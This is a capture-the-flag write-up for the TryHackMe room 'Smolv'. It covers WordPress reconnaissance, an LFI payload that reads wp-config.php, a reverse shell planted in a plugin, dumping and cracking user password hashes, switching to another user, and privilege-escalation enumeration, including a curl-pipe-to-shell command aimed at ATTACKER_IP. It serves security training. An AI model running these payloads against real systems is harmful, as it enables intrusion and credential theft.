🔐 Smolv - TryHackMe Room Write-Up

Room Name: Smolv
Difficulty: Medium
Categories: WordPress, Web Exploitation, Privilege Escalation
Completed: January 22, 2026

📋 Table of Contents

🎯 Initial Reconnaissance

Objective

Identify open services and potential attack vectors on the target machine.

Network Scan

```bash
./hash.sh 10.49.142.204
```

Scan Results:

- **Target IP:** 10.49.142.204
- **Open Ports:** 22/tcp (SSH), 80/tcp (HTTP)
- **Services Identified:**
  - Port 22: OpenSSH
  - Port 80: Apache/2.4.41 (Ubuntu)

Key Findings:

```
Open ports found: 22,80
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-22 13:00 +0500
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:00
Completed NSE at 13:00, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:00
Completed NSE at 13:00, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:00
Completed NSE at 13:00, 0.00s elapsed
Initiating Ping Scan at 13:00
Scanning 10.49.142.204 [4 ports]
Completed Ping Scan at 13:00, 0.11s elapsed (1 total hosts)
Scanning 2 services on 10.49.142.204 (10.49.142.204)
Completed Service scan at 13:01, 6.18s elapsed (2 services on 1 host)
NSE: Script scanning 10.49.142.204.
NSE: Starting runlevel 1 (of 3) scan.
Discovered open port 80/tcp on 10.49.142.204
Discovered open port 22/tcp on 10.49.142.204
Completed SYN Stealth Scan at 13:00, 0.11s elapsed (2 total ports)
```

Key Findings

- WordPress website hosted on Apache
- SSH service available (key-based authentication)
- Standard web ports exposed

🔍 Service Enumeration

WordPress Security Scan

Using WPScan to identify potential vulnerabilities:

```bash
wpscan --url http://www.smol.thm/ --no-update --verbose
```

WPScan Output:

```
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                        Version 3.8.28
      Sponsored by Automattic - https://automattic.com/
      @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
```

[+] URL: http://www.smol.thm/ [10.49.142.204]
[+] Started: Thu Jan 22 14:28:35 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://www.smol.thm/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
  - http://codex.wordpress.org/XML-RPC_Pingback_API
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

```
[+] WordPress readme found: http://www.smol.thm/readme.html
```

Apache Vulnerability Check

```
bash

searchsploit apache 2.4.41
```

Searchsploit Results:

```
Exploit Title                                             | Path
----------------------------------------------------------|----------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution  | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner| php/remote/29316.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service               | multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Over | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Ov | unix/remote/764.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traver | multiple/webapps/39642.txt
Apache Tomcat < 5.5.17 - Remote Directory Listing                 | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal               | unix/remote/14489.c
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - J | jsp/webapps/42966.py
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)      | linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remot | linux/remote/34.pl
```

🚪 WordPress Exploitation

Configuration File Discovery

Accessed WordPress configuration file via vulnerable jsmol2wp plugin:

http://smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../../../wp-config.php

Extracted wp-config.php content:

```
php
```

```php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** Database username */
define('DB_USER', 'wpuser');

/** Database password */
define('DB_PASSWORD', 'kbLSF2VopFlw3rjDZ629+ZwG');

/** Database hostname */
define('DB_HOST', 'localhost');

/** Database charset to use in creating database tables. */
```

```
define('DB_CHARSET', 'utf8');

/** The database collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

Extracted Credentials:

- Database Name: `wordpress`
- Database User: `wpuser`
- Database Password: `kbLSF2VopFlw3rjDZ629+ZwG`
- Database Host: `localhost`

WordPress Admin Access

Successfully logged into WordPress admin panel using discovered credentials.

WordPress Admin Panel - Pages Section:

```
Pages | Add New Page

All (2) | Published (1) | Private (1)

[Bulk actions] [Apply] [All dates] [Filter]

Title                                Author    Date
Privacy Policy — Privacy Policy Page         admin     Published 2023/08/16 at 6:58 am
Webmaster Tasks!! — Private                  admin     Last Modified 2023/08/16 at 3:13 pm
```

Discovered Pages:

- Privacy Policy (Published - 2023/08/16)
- Webmaster Tasks!! (Private - Last Modified 2023/08/16)

🎣 Initial Access - Reverse Shell

Webmaster Tasks Discovery

Found critical security tasks and hints in private WordPress page:

Webmaster Tasks!! Content:

> 1- [IMPORTANT] Check Backdoors: Verify the SOURCE CODE of "Hello Dolly" plugin as the site's code revision.
>
> 2- Set Up HTTPS: Configure an SSL certificate to enable HTTPS and encrypt data transmission.
>
> 3- Update Software: Regularly update your CMS, plugins, and themes to patch vulnerabilities.
>
> 4- Strong Passwords: Enforce strong passwords for users and administrators.
>
> 5- Input Validation: Validate and sanitize user inputs to prevent attacks like SQL injection and XSS.
>
> 6- [IMPORTANT] Firewall Installation: Install a web application firewall (WAF) to filter incoming traffic.
>
> 7- Backup Strategy: Set up regular backups of your website and databases.
>
> 8- [IMPORTANT] User Permissions: Assign minimum necessary permissions to users based on roles.
>
> 9- Content Security Policy: Implement a CSP to control resource loading and prevent malicious scripts.
>
> 10- Secure File Uploads: Validate file types, use secure upload directories, and restrict execution permissions.

Reverse Shell Technique

Based on the hint about "Hello Dolly" plugin backdoor, edited the plugin to inject reverse shell code.

Listener Setup (Attacker Machine):

```bash
nc -nlvp 4444
```

Result:

```
Connection established from 10.49.142.204
uid=33(www-data) gid=33(www-data)
```

✅ **Achievement:** Initial foothold obtained as `www-data` user

🔧 Shell Stabilization

Initial Attempt

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Issue Faced:

- Shell exited unexpectedly
- Ctrl+Z did not behave as expected
- Terminal not fully interactive
- No tab completion or command history

✅ Correct Full Method

```bash
# Step 1: Spawn PTY shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: Background the shell (Press Ctrl+Z)

# Step 3: Configure terminal
stty raw -echo

# Step 4: Foreground the shell
fg

# Step 5: Set terminal type
export TERM=xterm
```

Why This Works:

- **Step 1:** Spawns proper PTY (pseudo-terminal) shell
- **Step 2:** Backgrounds the process to access local terminal
- **Step 3:** Disables local echo and passes all keystrokes
- **Step 4:** Returns to remote shell with proper settings
- **Step 5:** Sets terminal type for proper formatting

Benefits:

- Enables job control (Ctrl+Z, Ctrl+C)
- Allows arrow keys for command history
- Enables tab completion
- Proper terminal clearing with `clear` command

- Color support for tools like `ls`

🗄️ Database Access

MySQL Login

Credentials Used:

- Username: `wpuser`
- Password: `kbLSF2VopFlw3rjDZ629+ZwG`

```bash
mysql -u wpuser -p
```

MySQL Session:

```
mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| wordpress          |
+--------------------+
5 rows in set (0.00 sec)

mysql>
```

⚠️ Common Mistake - Environment Confusion

❌ What NOT to Do:

Attempting to run Linux commands inside MySQL prompt:

```sql
mysql> su
mysql> su think
```

Why This Fails:

- `su` is a **Linux shell command**
- MySQL only understands **SQL queries** (SELECT, SHOW, USE, etc.)
- Cannot execute system commands inside MySQL session
- Different execution contexts and environments

✅ Correct Understanding:

Environment	Commands Allowed	Purpose
Linux shell	su, sudo, ssh, cd, ls, cat, chmod	System operations and file management
MySQL	SELECT, SHOW, USE, INSERT, UPDATE, DELETE, CREATE	Database operations only

Correct Approach: To switch users, you must **exit MySQL first**, then use `su` in the Linux shell:

```bash
```

```
mysql> exit;
$ su username
```

🔓 Password Hash Extraction

WordPress User Enumeration

```sql
USE wordpress;
SELECT ID, user_login, user_pass FROM wp_users;
```

Database Output:

```
Database changed
+----+------------+------------------------------------+--------------+-----------------+-----------+
| ID | user_login | user_pass                          | user_nicename | user_email      | user_url  |
+----+------------+------------------------------------+--------------+-----------------+-----------+
|  1 | admin      | $P$BH.CF15fzRj41i7nR19CHz2hPmhKdX. | admin        | admin@smol.thm  |
http://www.smol.thm |
|  2 | wp         | $P$BfZjtJpXL9gEwzN3iLMTnTvBVb2ZI/E. | wordpress user| wp@smol.thm     |
http://smol.thm |
|  3 | think      | $P$BOb8/koi4nrmSPW85f5KzM5M/k2nOd/ | think        | josemlwdf@smol.thm |
http://smol.thm |
|  4 | gege       | $P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1 | gege         | gege@smol.thm   |
http://smol.thm |
|  5 | diego      | $P$BWFEcbXdzGrsjnbe54Dr3EzH4JPwr1 | diego        | diego@local     | |
|  6 | xavi       | $P$B4zz2JEnM2H3WE2RHs3ql8.ipvcq11 | xavi         | xavi@smol.thm   |
http://smol.thm |
+----+------------+------------------------------------+--------------+-----------------+-----------+
6 rows in set (0.00 sec)

mysql>
```

Extracted User Hashes:

ID	Username	Password Hash	Email
1	admin	PBH.CF15fzRj41i7nR19CHz2hPmhKdX.	admin@smol.thm
2	wp	PBfZjtJpXL9gEwzN3iLMTnTvBVb2ZI/E.	wp@smol.thm
3	think	PBOb8/koi4nrmSPW85f5KzM5M/k2nOd/	josemlwdf@smol.thm
4	gege	PB1UHruCd/9bGD.TtVZULlxFrTsb3PX1	gege@smol.thm
5	diego	PBWFEcbXdzGrsjnbe54Dr3EzH4JPwr1	diego@local
6	xavi	PB4zz2JEnM2H3WE2RHs3ql8.ipvcq11	xavi@smol.thm

Hash Format: WordPress phpass (MD5-based with salt and multiple iterations)

Save Hashes for Cracking

```bash
cat > wp_hashes.txt <<EOF
admin:$P$BH.CF15fzRj41i7nR19CHz2hPmhKdX.
wp:$P$BfZjtJpXL9gEwzN3iLMTnTvBVb2ZI/E.
think:$P$BOb8/koi4nrmSPW85f5KzM5M/k2nOd/
gege:$P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1
diego:$P$BWFEcbXdzGrsjnbe54Dr3EzH4JPwr1
xavi:$P$B4zz2JEnM2H3WE2RHs3ql8.ipvcq11
EOF
```

🔨 Hash Cracking with John the Ripper

❌ Initial Error

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=wordpress wp_hashes.txt
```

Error Message:

```
Unknown ciphertext format name requested
```

Explanation:

- John the Ripper does NOT recognize `--format=wordpress`
- WordPress uses **phpass** hashing algorithm (portable PHP password hashing framework)

- phpass uses multiple iterations of MD5 with salts for security
- Must use correct format identifier: `phpass`

✅ Correct Command

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=phpass wp_hashes.txt
```

Cracking Process:

```
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sandiegocalifornia (diego)
1g 0:00:05:23 DONE (2026-01-22 15:30) 0.003094g/s 44489p/s 44489c/s 266934C/s
sandiegobay..sandiegoblue
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
```

Alternative with Hashcat:

```bash
hashcat -m 400 wp_hashes.txt /usr/share/wordlists/rockyou.txt
```

Cracking Results:

Username	Password	Status	Time
diego	**sandiegocalifornia**	✅ Cracked	~5 minutes 23 seconds
think	-	❌ Not in rockyou.txt	-
admin	-	❌ Not in rockyou.txt	-
wp	-	❌ Not in rockyou.txt	-
gege	-	❌ Not in rockyou.txt	-
xavi	-	❌ Not in rockyou.txt	-

🔄 Lateral Movement

SSH Attempt Analysis

Attempt 1: SSH as wpuser

```bash
ssh wpuser@10.49.178.2
```

Result:

```
Permission denied (publickey).
```

Why This Failed:

- SSH configured for **public key authentication only**
- Password authentication disabled in `/etc/ssh/sshd_config`

- Configuration directive: `PasswordAuthentication no`
- WordPress database password ≠ SSH authentication
- Different authentication systems and databases

User Switching Attempts

Terminal Session:

```
bash

www-data@ip-10-49-178-2:/var/www/wordpress/wp-admin$ su wpuser
su: user wpuser does not exist

www-data@ip-10-49-178-2:/var/www/wordpress/wp-admin$ su think
Password: sandiegocalifornia
su: Authentication failure

www-data@ip-10-49-178-2:/var/www/wordpress/wp-admin$ su think
su think
Password: sandiegocalifornia

su: Authentication failure
www-data@ip-10-49-178-2:/var/www/wordpress/wp-admin$ su - diego
su - diego
Password: sandiegocalifornia

diego@ip-10-49-178-2:~$ ls
ls
user.txt

diego@ip-10-49-178-2:~$ cat user.txt
cat user.txt
45edaec653df9ee06236b72686963
diego@ip-10-49-178-2:~$
```

Analysis of Each Attempt:

1. **Attempt 1: Switch to wpuser**

```bash
su wpuser
```

- Result: `su: user wpuser does not exist`
- **Reason:** wpuser is a MySQL database user only, not a Linux system user
- Database users ≠ System users

2. **Attempt 2: Switch to think**

```bash
su think
Password: sandiegocalifornia
```

- Result: `su: Authentication failure`
- **Reason:** Password cracked from diego's WordPress hash doesn't work for think's Linux account
- WordPress passwords ≠ Linux system passwords
- No password reuse between different users

3. **Attempt 3: Switch to diego ✅**

```bash
su - diego
Password: sandiegocalifornia
```

- Result: **SUCCESS!**
- Successfully switched to diego user
- Found user.txt flag in home directory

User Flag: `45edaec653df9ee06236b72686963`

Key Lessons from Lateral Movement

1. **Database Users vs System Users:** Database authentication is separate from Linux system authentication
2. **Password Reuse:** Successfully cracked WordPress password worked for the same user's Linux account
3. **Cross-User Passwords:** diego's password didn't work for other Linux users (think)
4. **Systematic Testing:** Always test all discovered credentials against all discovered users

---

🚀 Privilege Escalation

Current Access Level

```bash
diego@ip-10-49-178-2:~$ whoami
diego

diego@ip-10-49-178-2:~$ id
uid=1000(diego) gid=1000(diego) groups=1000(diego)
```

Enumeration as diego

1. Check sudo privileges:

```bash
diego@ip-10-49-178-2:~$ sudo -l
[sudo] password for diego: sandiegocalifornia
Sorry, user diego may not run sudo on ip-10-49-178-2.
```

Result: ❌ No sudo access

2. Check for SUID binaries:

```bash
find / -perm -4000 -type f 2>/dev/null
```

3. Check capabilities:

```bash
getcap -r / 2>/dev/null
```

4. Check for interesting files:

```bash
ls -la /home/diego/
ls -la /opt/
ls -la /tmp/
ls -la /var/backups/
```

5. Check running processes:

```bash
ps aux | grep root
```

6. Kernel information:

```bash
uname -a
cat /etc/os-release
```

7. Check cron jobs:

```bash
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /var/spool/cron/crontabs/
```

8. Check for writable files:

```bash
find / -writable -type f 2>/dev/null | grep -v proc
```

9. Search for credentials:

```bash
grep -r "password" /home/ 2>/dev/null
grep -r "pass" /var/www/ 2>/dev/null
```

10. Check SSH keys:

```bash
find / -name authorized_keys 2>/dev/null
find / -name id_rsa 2>/dev/null
```

Potential Privilege Escalation Vectors

Based on typical WordPress CTF scenarios, consider:

1. **Kernel Exploits** - If kernel is outdated
2. **Cron Jobs** - Scripts running as root that can be modified
3. **SUID Binaries** - Custom binaries with SUID bit set
4. **Capabilities** - Binaries with special capabilities
5. **Service Exploits** - Vulnerable services running as root
6. **Password Reuse** - Try diego's password for root
7. **Backup Files** - Check for backup scripts or files with credentials
8. **Docker/Container Escape** - If running in containerized environment

Automated Enumeration Tools

LinPEAS:

```bash
# On attacker machine
python3 -m http.server 8000

# On target machine
curl http://ATTACKER_IP:8000/linpeas.sh | sh
```

Linux Exploit Suggester:

```bash
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
```

Next Steps for Root Access

To complete the privilege escalation:

1. Run automated enumeration scripts (LinPEAS, LinEnum)
2. Analyze the output for potential vectors
3. Research specific kernel version exploits
4. Check for misconfigured services or files
5. Look for hidden files or credentials in unusual locations

📚 Lessons Learned

✅ What Went Right

1. **Systematic Enumeration**
    - Proper use of WPScan for WordPress reconnaissance
    - Thorough database enumeration and user discovery
    - Methodical user switching attempts with all discovered credentials
2. **Understanding Authentication Boundaries**
    - Recognized that WordPress passwords ≠ SSH passwords
    - Understood database users vs. system users
    - Identified key-based SSH authentication requirements
3. **Hash Cracking Success**
    - Correctly identified phpass format (not "wordpress")
    - Successfully cracked diego's password: `sandiegocalifornia`
    - Efficient use of rockyou.txt wordlist with proper format
4. **Password Reuse Discovery**

- diego's WordPress password worked for Linux account
- Demonstrated importance of testing all credentials

❌ Common Mistakes & Fixes

Mistake	Why It's Wrong	Correct Approach
Using `su` inside MySQL	MySQL and Linux shell are different environments	Exit MySQL first with `exit;`, then use shell commands
Using `--format=wordpress`	John doesn't recognize this format name	Use `--format=phpass` (WordPress uses phpass algorithm)
Expecting WordPress password = SSH	Different authentication systems and databases	Understand service-specific authentication mechanisms
Incomplete shell stabilization	Missing full TTY upgrade process	Use complete 5-step stabilization: spawn → Ctrl+Z → stty → fg → export
Assuming cross-user password reuse	Users typically have different passwords	Test systematically but don't assume reuse works
Trying wpuser for `su`	Database user ≠ System user	Verify user exists in `/etc/passwd` first

🎓 Key Concepts Learned

1. WordPress Security

- **Configuration File Exposure:** Plugins can expose sensitive files through LFI
- **XML-RPC Enumeration:** Can be used for user enumeration and brute force
- **Hash Format:** WordPress uses phpass (portable PHP password hashing)
- **Plugin Vulnerabilities:** Always check plugin source code for backdoors

2. Shell Techniques

- **Proper TTY Upgrade:** 5-step process for full interactive shell
- **stty Settings:** Understanding terminal settings for better shell control
- **Environment Variables:** Setting TERM for proper terminal emulation
- **Job Control:** Enabling Ctrl+Z and Ctrl+C functionality

3. Authentication Boundaries

- **Database Authentication ≠ System Authentication:** Separate credential stores
- **Web Passwords ≠ SSH Passwords:** Different authentication mechanisms
- **Service-Specific Credentials:** Each service maintains its own authentication
- **Password Reuse:** Same user might use same password across services

4. Lateral Movement

- **Password Reuse Testing:** Test cracked passwords for corresponding Linux users
- **User Enumeration:** List all users in `/etc/passwd`
- **Systematic Credential Testing:** Try all credentials against all users
- **Failed Attempts:** Learn from authentication failures

5. Environment Context

- **Shell Commands vs SQL Queries:** Know which environment you're in
- **Command Compatibility:** Different environments support different commands
- **Exit Strategies:** Know how to exit each environment properly

🔍 Tools Used

Tool	Purpose	Key Commands/Flags
Nmap	Port scanning & service detection	`nmap -sV -sC -p- <target>`
WPScan	WordPress vulnerability scanning	`wpscan --url <url> --enumerate u,vp`
Searchsploit	Local exploit database search	`searchsploit <service> <version>`
Netcat	Reverse shell listener	`nc -nlvp <port>`
MySQL	Database access and enumeration	`mysql -u <user> -p`
John the Ripper	Password hash cracking	`john --format=phpass --wordlist=<list> <hashes>`
Python	PTY shell spawning	`python3 -c 'import pty; pty.spawn("/bin/bash")'`
curl	HTTP requests & file transfers	`curl -I <url>`
find	File system searching	`find / -perm -4000 2>/dev/null`
grep	Pattern searching	`grep -r "password" /path/ 2>/dev/null`

💡 Pro Tips

1. **Always Stabilize Your Shell**
    - Full TTY upgrade prevents accidental disconnections
    - Enables tab completion and command history

- Allows proper use of text editors (nano, vim)

2. **Understand Environment Contexts**
    - SQL commands only work in SQL prompt
    - Shell commands only work in shell
    - Know how to exit each environment
3. **Test All Discovered Credentials**
    - Password reuse is common in CTF and real scenarios
    - Test against all discovered users
    - Document successes and failures
4. **Use Correct Hash Formats**
    - Research hash types before cracking
    - Check John's supported formats: `john --list=formats`
    - For WordPress: always use `phpass`